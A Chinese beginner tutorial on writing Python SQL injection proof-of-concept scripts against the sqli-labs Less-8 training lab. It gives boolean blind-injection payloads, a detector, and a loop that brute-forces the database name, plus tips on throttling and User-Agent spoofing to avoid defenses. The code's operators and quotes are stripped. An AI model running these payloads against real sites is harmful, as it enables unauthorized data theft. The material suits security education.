别再死记硬背了!用Python requests库手把手教你写第一个SQL注入POC(以sqli-labs第8关为例)

别再死记硬背了!用Python requests库手把手教你写第一个SQL注入POC(以sqli-labs第8关为例) 从零编写SQL注入检测工具Python实战sqli-labs第8关第一次听说POC这个词是在某个技术论坛上当时看到有人发帖说求XX漏洞的POC下面跟帖讨论热烈。作为一个刚学完Python基础的新手我完全不明白他们在说什么只觉得这似乎是某种高大上的黑客技术。后来才知道POC(Proof of Concept)其实就是用代码验证漏洞存在的一段程序而EXP(Exploit)则是利用漏洞进行攻击的代码。本文将带你用最基础的Python知识从零开始编写一个检测SQL注入漏洞的POC目标是对sqli-labs第8关进行自动化检测。1. 理解SQL注入与POC原理SQL注入是最常见的Web安全漏洞之一攻击者通过在输入参数中插入恶意SQL代码欺骗服务器执行非预期的数据库操作。sqli-labs是一个专门用于学习SQL注入的靶场环境其中第8关是一个典型的基于布尔盲注的漏洞场景。布尔盲注的特点是服务器不会直接返回数据库错误信息页面只有正常和异常两种状态需要通过真/假条件判断来逐位提取数据编写POC的核心思路是构造包含SQL片段的特殊参数发送到目标URL并获取响应分析响应特征判断漏洞是否存在2. 环境准备与工具选择2.1 实验环境搭建要实践本教程你需要安装好的sqli-labs靶场本地或远程Python 3.6环境requests库用于HTTP请求安装requests库的命令pip install requests2.2 为什么选择requests库对于初学者来说requests库有诸多优势API设计简单直观自动处理URL编码、会话保持等细节内置JSON解析、状态码检查等实用功能社区支持强大文档完善对比其他HTTP客户端库库名称学习曲线功能完整性适用场景urllib陡峭基础标准库需求场景httpx中等全面异步/HTTP2需求requests平缓完善快速开发、教学3. 手工测试过程分析在编写自动化POC前我们先手工测试sqli-labs第8关正常访问http://localhost/sqli-labs/Less-8/?id1注入单引号http://localhost/sqli-labs/Less-8/?id1测试布尔条件真条件...?id1 AND 11 --页面正常显示假条件...?id1 AND 12 --页面空白注意--是SQL注释语法用于注释掉原查询后面的部分通过观察可以发现当SQL条件为真时页面返回正常内容当SQL条件为假时页面返回空白这种差异可以作为漏洞存在的判断依据4. 编写基础POC代码现在我们将手工测试过程转化为Python代码import requests def check_sqli(url): # 构造测试payload true_payload ?id1 AND 11 -- false_payload ?id1 AND 12 -- # 发送请求 true_resp requests.get(url true_payload) false_resp requests.get(url false_payload) # 分析响应 if len(true_resp.text) 0 and len(false_resp.text) 0: print(f[] 漏洞存在: {url}) return True else: print(f[-] 未检测到漏洞: {url}) return False # 测试代码 if __name__ __main__: target_url http://localhost/sqli-labs/Less-8/ check_sqli(target_url)这段代码实现了最基本的漏洞检测逻辑构造真/假两种条件的请求比较响应内容的差异根据差异判断漏洞是否存在5. 增强POC的健壮性基础版本虽然能用但存在几个问题没有错误处理无法应对网络波动判断逻辑过于简单改进后的版本import requests from urllib.parse import urljoin def enhanced_check_sqli(base_url, timeout5): try: # 验证目标URL可达性 test_resp requests.get(base_url, timeouttimeout) if test_resp.status_code ! 200: print(f[-] 目标不可达: HTTP {test_resp.status_code}) return False # 构造完整测试URL true_url urljoin(base_url, ?id1 AND 11 --) false_url urljoin(base_url, ?id1 AND 12 --) # 获取正常响应作为基准 normal_resp requests.get(urljoin(base_url, ?id1), timeouttimeout) normal_length len(normal_resp.text) # 发送测试请求 true_resp requests.get(true_url, timeouttimeout) false_resp requests.get(false_url, timeouttimeout) # 更精确的判断逻辑 true_positive (len(true_resp.text) normal_length) false_negative (len(false_resp.text) ! normal_length) if true_positive and false_negative: print(f[] 确认存在SQL注入漏洞: {base_url}) return True else: print(f[-] 未检测到漏洞特征: {base_url}) return False except requests.exceptions.RequestException as e: print(f[!] 请求失败: {str(e)}) return False # 使用示例 if __name__ __main__: target http://localhost/sqli-labs/Less-8/ enhanced_check_sqli(target)改进点包括使用urljoin处理URL拼接添加超时和异常处理引入正常响应作为基准比较更精确的状态判断逻辑6. 扩展功能自动化信息提取基础的漏洞检测之后我们可以进一步提取数据库信息import requests import string def extract_data(target_url): # 获取正常响应长度作为基准 normal_len len(requests.get(target_url ?id1).text) # 提取当前数据库名 db_name print([*] 开始提取数据库名...) for i in range(1, 20): found False for char in string.ascii_lowercase string.digits _: payload f?id1 AND SUBSTRING(database(),{i},1){char} -- resp requests.get(target_url payload) if len(resp.text) normal_len: db_name char print(f当前进度: {db_name}) found True break if not found: break print(f[] 数据库名: {db_name}) return db_name # 使用前确保目标存在漏洞 if __name__ __main__: url http://localhost/sqli-labs/Less-8/ if enhanced_check_sqli(url): extract_data(url)这段代码实现了逐字符爆破数据库名使用SUBSTRING函数提取特定位置字符实时显示提取进度7. 实际应用中的注意事项在真实环境中使用这类工具时需要注意合法性只对授权目标进行测试请求频率添加延迟避免触发防护机制import time time.sleep(0.5) # 每次请求间隔0.5秒错误处理完善各种异常情况的处理日志记录保存测试结果和过程with open(scan_log.txt, a) as f: f.write(f{target_url} - Vulnerable: {result}\n)用户代理设置合理的User-Agentheaders { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } requests.get(url, headersheaders)编写POC最难的不是技术实现而是如何让代码适应各种复杂环境。在实际项目中我通常会先花时间研究目标系统的特点然后调整检测逻辑。比如有些网站会对异常请求返回200状态码但显示错误页面这时就不能简单地通过状态码判断而要分析页面内容特征。